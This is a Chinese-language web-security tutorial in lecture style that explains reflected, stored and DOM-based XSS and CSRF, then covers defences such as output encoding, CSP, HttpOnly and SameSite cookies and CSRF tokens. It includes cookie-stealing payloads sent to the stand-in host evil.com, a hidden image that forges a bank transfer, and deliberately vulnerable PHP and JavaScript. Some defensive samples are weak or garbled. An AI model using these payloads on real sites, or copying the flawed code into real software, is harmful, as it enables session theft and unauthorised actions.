解释 JavaScript 中的 XSS (跨站脚本攻击) 和 CSRF (跨站请求伪造) 攻击原理及防御措施。

各位同学,大家好!我是今天的主讲人,咱们今天来聊聊Web安全里两个老生常谈,但又不得不防的家伙:XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)。 别看名字挺唬人,理解了原理,防御起来也就那么回事儿。咱们尽量用大白话,加上一些小例子,把这俩货彻底拿下!

XSS:脚本小偷的把戏

想象一下,你家大门敞开,然后有人悄悄溜进来,在你家里贴了张“我是你爹”的纸条。下次客人来你家,看到这张纸条,就以为是你写的,直接把你叫“儿子”了。 这就是XSS干的事儿,只不过它贴的不是纸条,而是恶意脚本。

XSS的原理

XSS 攻击本质上是注入攻击。攻击者通过某种方式,将恶意的 JavaScript 代码注入到受信任的 Web 页面中。当用户浏览这个页面时,这些恶意脚本就会在用户的浏览器上执行,从而窃取用户的 Cookie、会话信息,甚至篡改页面内容。

XSS 主要分为三种类型:

  1. 反射型 XSS (Reflected XSS)

    • 原理: 攻击者通过构造包含恶意脚本的 URL,诱骗用户点击。服务器接收到 URL 中的恶意脚本后,会将其作为响应的一部分返回给用户。用户的浏览器解析响应时,恶意脚本就会被执行。

    • 特点: 恶意脚本不存储在服务器端。

    • 例子:

      假设有个搜索页面,URL 如下:

      http://example.com/search?keyword=hello

      如果这个页面直接将 keyword 的值显示在页面上,而没有进行任何处理,攻击者就可以构造如下 URL:

      http://example.com/search?keyword=<script>alert('XSS!')</script>

      当用户点击这个 URL 时,浏览器会执行 alert('XSS!'),弹出一个警告框。更危险的是,攻击者可以替换 alert('XSS!') 为窃取 Cookie 的代码:

      http://example.com/search?keyword=<script>window.location='http://evil.com/steal?cookie='+document.cookie</script>

      这样,用户的 Cookie 就会被发送到攻击者的服务器 evil.com

    • 代码示例 (易受攻击的 PHP 代码):

      <?php
      $keyword = $_GET['keyword'];
      echo "你搜索了: " . $keyword;
      ?>

      注意: 上面的代码直接输出了 GET 请求中的 keyword 参数,没有任何过滤。

  2. 存储型 XSS (Stored XSS)

    • 原理: 攻击者将恶意脚本提交到服务器,服务器将其存储在数据库或其他持久化存储中。当其他用户访问包含这些恶意脚本的页面时,恶意脚本就会被执行。

    • 特点: 恶意脚本存储在服务器端,危害更大。

    • 例子:

      假设有个留言板,用户可以发表评论。攻击者可以在评论中插入恶意脚本:

      <script>window.location='http://evil.com/steal?cookie='+document.cookie</script>

      当其他用户浏览这个留言板时,他们的 Cookie 就会被发送到攻击者的服务器。

    • 代码示例 (易受攻击的 PHP 代码):

      <?php
      // 假设已经连接到数据库
      $comment = $_POST['comment'];
      $query = "INSERT INTO comments (content) VALUES ('$comment')";
      mysqli_query($connection, $query);
      ?>
      
      <!-- 显示评论 -->
      <?php
      $query = "SELECT content FROM comments";
      $result = mysqli_query($connection, $query);
      while ($row = mysqli_fetch_assoc($result)) {
          echo "<p>" . $row['content'] . "</p>";
      }
      ?>

      注意: 上面的代码直接将 POST 请求中的 comment 参数插入到数据库,没有任何过滤。显示评论的时候,也没有进行任何处理。

  3. DOM 型 XSS (DOM-based XSS)

    • 原理: 攻击者通过修改页面的 DOM 结构,使得恶意脚本得以执行。这种攻击不需要服务器端的参与。

    • 特点: 恶意脚本不经过服务器,直接在客户端执行。

    • 例子:

      假设有个页面,通过 JavaScript 从 URL 的 hash 值中获取参数:

      <script>
      var param = document.location.hash.substring(1);
      document.getElementById('output').innerHTML = param;
      </script>
      <div id="output"></div>

      攻击者可以构造如下 URL:

      http://example.com/page.html#<img src=x onerror=alert('XSS!')>

      当用户访问这个 URL 时,param 的值会是 <img src=x onerror=alert('XSS!')>。由于 innerHTML 会解析 HTML 代码,所以 onerror 事件会被触发,执行 alert('XSS!')

    • 代码示例 (易受攻击的 JavaScript 代码):

      // 从 URL 的 hash 值中获取参数
      var param = document.location.hash.substring(1);
      
      // 将参数的值显示在页面上
      document.getElementById('output').innerHTML = param;

      注意: 上面的代码直接将从 URL 获取的参数赋值给 innerHTML,没有任何过滤。

XSS 的防御措施

防止 XSS 攻击,关键在于输入验证输出编码

  1. 输入验证 (Input Validation):

    • 原则: 严格验证用户输入,只允许输入符合预期格式的数据。
    • 方法:
      • 白名单: 只允许输入白名单中的字符或格式。
      • 黑名单: 过滤掉黑名单中的字符或格式(不推荐,容易被绕过)。
      • 长度限制: 限制输入的最大长度。
      • 数据类型验证: 验证输入的数据类型是否正确。
    • 代码示例 (PHP):

      <?php
      $username = $_POST['username'];
      
      // 使用白名单,只允许字母和数字
      if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
          echo "用户名只能包含字母和数字";
          exit;
      }
      
      // 长度限制
      if (strlen($username) > 20) {
          echo "用户名长度不能超过 20 个字符";
          exit;
      }
      
      // 安全地使用用户名
      echo "欢迎," . htmlspecialchars($username);
      ?>

      解释:

      • preg_match('/^[a-zA-Z0-9]+$/', $username): 使用正则表达式检查 $username 是否只包含字母和数字。
      • strlen($username) > 20: 检查 $username 的长度是否超过 20 个字符。
      • htmlspecialchars($username): 对 $username 进行 HTML 编码,防止 XSS 攻击。
  2. 输出编码 (Output Encoding):

    • 原则: 对用户输入的数据进行编码,使其在 HTML 中显示时不会被解析为代码。

    • 方法:

      • HTML 编码: 将特殊字符转换为 HTML 实体。例如,将 < 转换为 &lt;,将 > 转换为 &gt;,将 " 转换为 &quot;,将 ' 转换为 ',将 & 转换为 &amp;
      • JavaScript 编码: 将特殊字符转换为 JavaScript 转义序列。例如,将 " 转换为 ",将 ' 转换为 ',将 转换为 \
      • URL 编码: 将特殊字符转换为 URL 编码。例如,将空格转换为 %20,将 & 转换为 %26,将 = 转换为 %3D
      • CSS 编码: 将特殊字符转换为 CSS 转义序列。
    • 代码示例 (PHP):

      <?php
      $comment = $_POST['comment'];
      
      // HTML 编码
      $safe_comment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
      
      echo "<p>" . $safe_comment . "</p>";
      ?>

      解释:

      • htmlspecialchars($comment, ENT_QUOTES, 'UTF-8'): 对 $comment 进行 HTML 编码,并指定使用 UTF-8 字符集。ENT_QUOTES 表示同时编码单引号和双引号。
    • 代码示例 (JavaScript):

      function escapeHTML(str) {
        var div = document.createElement('div');
        div.appendChild(document.createTextNode(str));
        return div.innerHTML;
      }
      
      var comment = "<script>alert('XSS')</script>";
      var safeComment = escapeHTML(comment);
      document.getElementById('output').innerHTML = safeComment;

      解释:

      • escapeHTML(str): 创建一个临时的 div 元素,并将需要编码的字符串作为文本节点添加到 div 中。然后,获取 divinnerHTML,浏览器会自动对字符串进行 HTML 编码。
  3. 使用 Content Security Policy (CSP):

    • 原理: CSP 是一种安全策略,允许网站管理员控制浏览器能够加载哪些资源。通过配置 CSP,可以限制恶意脚本的执行,从而减少 XSS 攻击的风险。
    • 方法: 通过 HTTP 响应头或 HTML <meta> 标签设置 CSP。
    • 例子:

      Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';

      解释:

      • default-src 'self': 只允许从同源加载资源。
      • script-src 'self' 'unsafe-inline' 'unsafe-eval': 允许从同源加载脚本,允许内联脚本,允许使用 eval() 函数。 ('unsafe-inline''unsafe-eval' 应该尽可能避免使用,除非确实需要。)
  4. 使用 HTTPOnly Cookie:

    • 原理: HTTPOnly Cookie 是一种特殊的 Cookie,只能通过 HTTP(S) 协议访问,不能通过 JavaScript 访问。通过设置 HTTPOnly Cookie,可以防止 XSS 攻击窃取 Cookie。
    • 方法: 在设置 Cookie 时,添加 HttpOnly 属性。
    • 代码示例 (PHP):

      <?php
      setcookie("username", "John Doe", time() + 3600, "/", "", false, true);
      ?>

      解释:

      • setcookie("username", "John Doe", time() + 3600, "/", "", false, true): 设置一个名为 username 的 Cookie,值为 "John Doe",有效期为 1 小时,作用域为整个网站,只能通过 HTTP(S) 协议访问。 true 参数表示设置 HTTPOnly 属性。
  5. 及时更新和修补漏洞:

    • 原理: 及时更新和修补 Web 应用程序和服务器的漏洞,可以防止攻击者利用已知的漏洞进行 XSS 攻击。

XSS 防御总结

防御措施 原理 适用场景
输入验证 严格验证用户输入,只允许输入符合预期格式的数据。 所有接收用户输入的地方,例如表单、URL 参数、Cookie 等。
输出编码 对用户输入的数据进行编码,使其在 HTML 中显示时不会被解析为代码。 所有需要将用户输入的数据显示在页面的地方。
Content Security Policy 控制浏览器能够加载哪些资源,限制恶意脚本的执行。 整个网站,可以细粒度地控制不同页面的安全策略。
HTTPOnly Cookie 防止 XSS 攻击窃取 Cookie。 所有需要保护的 Cookie,例如会话 Cookie。
及时更新和修补漏洞 防止攻击者利用已知的漏洞进行 XSS 攻击。 整个 Web 应用程序和服务器。

CSRF:冒名顶替的坏蛋

想象一下,你登录了银行网站,正准备转账给你的朋友。这时,你打开了一个恶意网站,这个网站偷偷地向你的银行网站发送了一个转账请求,把你的钱转到了攻击者的账户。由于你已经登录了银行网站,银行会认为这个请求是你自己发送的,所以就执行了转账操作。 这就是 CSRF 干的事儿,它冒充你的身份,干一些你不想干的事情。

CSRF 的原理

CSRF 攻击利用用户在受信任网站的身份验证凭据,欺骗用户在不知情的情况下执行恶意操作。 简单来说,就是攻击者伪造一个请求,以受害者的身份发送给服务器。如果受害者已经登录了该服务器,服务器会认为这个请求是受害者自己发送的,从而执行相应的操作。

CSRF 攻击通常发生在以下情况下:

  1. 用户已经登录了受信任的网站(例如银行网站)。
  2. 用户访问了恶意网站。
  3. 恶意网站通过某种方式(例如图片、链接、表单),向受信任的网站发送请求。
  4. 受信任的网站接收到请求后,会认为这个请求是用户自己发送的,从而执行相应的操作。

CSRF 的例子

假设有个银行网站,转账的 URL 如下:

http://bank.example.com/transfer?account=attacker&amount=100

如果用户已经登录了这个银行网站,攻击者可以在自己的网站上放置一个图片:

<img src="http://bank.example.com/transfer?account=attacker&amount=100" width="0" height="0">

当用户访问这个包含图片的恶意网站时,浏览器会自动向银行网站发送一个转账请求,将 100 元转到攻击者的账户。由于用户已经登录了银行网站,银行会认为这个请求是用户自己发送的,所以就执行了转账操作。

CSRF 的防御措施

防止 CSRF 攻击,关键在于验证请求的来源

  1. 使用 CSRF Token:

    • 原理: 在每个需要保护的表单或 URL 中,添加一个随机的、不可预测的 CSRF Token。服务器在接收到请求后,会验证请求中是否包含正确的 CSRF Token。如果 CSRF Token 不正确,服务器会拒绝执行请求。
    • 方法:
      1. 服务器生成一个随机的 CSRF Token,并将其存储在用户的 Session 中。
      2. 在需要保护的表单或 URL 中,添加一个隐藏的字段,并将 CSRF Token 的值赋给该字段。
      3. 当用户提交表单或点击 URL 时,浏览器会将 CSRF Token 一起发送给服务器。
      4. 服务器在接收到请求后,会验证请求中的 CSRF Token 是否与 Session 中存储的 CSRF Token 相匹配。
      5. 如果 CSRF Token 不匹配,服务器会拒绝执行请求。
    • 代码示例 (PHP):

      <?php
      session_start();
      
      // 生成 CSRF Token
      if (empty($_SESSION['csrf_token'])) {
          $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
      }
      
      // 验证 CSRF Token
      if ($_SERVER['REQUEST_METHOD'] == 'POST') {
          if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] != $_SESSION['csrf_token']) {
              echo "CSRF 攻击!";
              exit;
          }
      }
      ?>
      
      <form action="process.php" method="post">
          <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
          <input type="text" name="name">
          <input type="submit" value="提交">
      </form>

      解释:

      • session_start(): 启动 Session。
      • bin2hex(random_bytes(32)): 生成一个 32 字节的随机字符串,并将其转换为十六进制字符串。
      • $_SESSION['csrf_token']: 将 CSRF Token 存储在 Session 中。
      • <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">: 在表单中添加一个隐藏的字段,并将 CSRF Token 的值赋给该字段。
      • $_POST['csrf_token'] != $_SESSION['csrf_token']: 验证请求中的 CSRF Token 是否与 Session 中存储的 CSRF Token 相匹配。
  2. 验证 HTTP Referer 头部:

    • 原理: HTTP Referer 头部包含了请求的来源 URL。服务器可以验证 Referer 头部,判断请求是否来自受信任的网站。
    • 方法: 检查 HTTP Referer 头部的值是否与受信任的网站的域名相匹配。
    • 缺点:
      • Referer 头部可以被伪造。
      • 有些浏览器或代理服务器会禁用 Referer 头部。
    • 不推荐单独使用,可以作为辅助手段。
    • 代码示例 (PHP):

      <?php
      $referer = $_SERVER['HTTP_REFERER'];
      $allowed_domain = 'http://example.com';
      
      if (strpos($referer, $allowed_domain) === 0) {
          // 请求来自受信任的网站
      } else {
          // 请求来自未知的网站
          echo "CSRF 攻击!";
          exit;
      }
      ?>

      解释:

      • $_SERVER['HTTP_REFERER']: 获取 HTTP Referer 头部的值。
      • strpos($referer, $allowed_domain) === 0: 检查 Referer 头部的值是否以受信任的域名开头。
  3. 使用 SameSite Cookie:

    • 原理: SameSite Cookie 是一种特殊的 Cookie,可以限制 Cookie 的跨域访问。通过设置 SameSite Cookie,可以防止 CSRF 攻击。
    • 方法: 在设置 Cookie 时,添加 SameSite 属性。
    • 取值:
      • Strict: Cookie 只能在同站点请求中使用。
      • Lax: Cookie 可以在同站点请求中使用,也可以在部分跨站点请求中使用(例如,点击链接)。
      • None: Cookie 可以在所有请求中使用(需要同时设置 Secure 属性)。
    • 代码示例 (PHP):

      <?php
      setcookie("username", "John Doe", time() + 3600, "/", "", false, true);
      setcookie("sessionid", "1234567890", time() + 3600, "/", "", false, true, "Strict");
      ?>

      解释:

      • setcookie("sessionid", "1234567890", time() + 3600, "/", "", false, true, "Strict"): 设置一个名为 sessionid 的 Cookie,值为 "1234567890",有效期为 1 小时,作用域为整个网站,只能通过 HTTP(S) 协议访问,且只能在同站点请求中使用。
  4. 使用双重 Cookie 验证 (Double Submit Cookie):

    • 原理: 服务器生成一个随机值,同时将其设置在 Cookie 中和一个表单字段中。 当用户提交表单时,服务器比较 Cookie 中的值和表单字段中的值是否一致。 如果一致,则认为请求是合法的,否则认为是 CSRF 攻击。
    • 优点: 不需要服务器端存储 CSRF Token,适用于无状态的应用程序。
    • 缺点: 依赖于同源策略,无法防御子域名的 CSRF 攻击。
    • 代码示例 (JavaScript):

      // 生成随机值
      function generateRandomString(length) {
        var text = "";
        var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
        for (var i = 0; i < length; i++) {
          text += possible.charAt(Math.floor(Math.random() * possible.length));
        }
        return text;
      }
      
      var csrfToken = generateRandomString(32);
      
      // 设置 Cookie
      document.cookie = "csrf_token=" + csrfToken + "; path=/";
      
      // 将随机值添加到表单字段中
      document.getElementById("csrf_token").value = csrfToken;

      代码示例 (PHP):

      <?php
      // 获取 Cookie 中的 CSRF Token
      $cookieToken = $_COOKIE['csrf_token'];
      
      // 获取表单字段中的 CSRF Token
      $formToken = $_POST['csrf_token'];
      
      // 验证 CSRF Token
      if ($cookieToken !== $formToken) {
        echo "CSRF 攻击!";
        exit;
      }
      ?>

CSRF 防御总结

防御措施 原理 适用场景
CSRF Token 在每个需要保护的表单或 URL 中,添加一个随机的、不可预测的 CSRF Token。 所有需要保护的表单或 URL。
验证 HTTP Referer 验证 HTTP Referer 头部,判断请求是否来自受信任的网站。 可以作为辅助手段,不推荐单独使用。
SameSite Cookie 限制 Cookie 的跨域访问。 所有需要保护的 Cookie,例如会话 Cookie。
双重 Cookie 验证 服务器同时在 Cookie 和表单字段中设置一个随机值,验证两者是否一致。 适用于无状态的应用程序。

总结

XSS 和 CSRF 都是常见的 Web 安全漏洞,但只要我们理解了它们的原理,并采取相应的防御措施,就可以有效地防止这些攻击。

  • XSS: 注入攻击,通过将恶意脚本注入到受信任的 Web 页面中来窃取用户信息或篡改页面内容。防御的关键在于输入验证和输出编码。
  • CSRF: 冒名顶替攻击,通过伪造请求,以受害者的身份执行恶意操作。防御的关键在于验证请求的来源。

记住,安全是一个持续的过程,我们需要不断学习和更新我们的知识,才能更好地保护我们的 Web 应用程序。

今天就讲到这里,希望大家有所收获! 散会!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注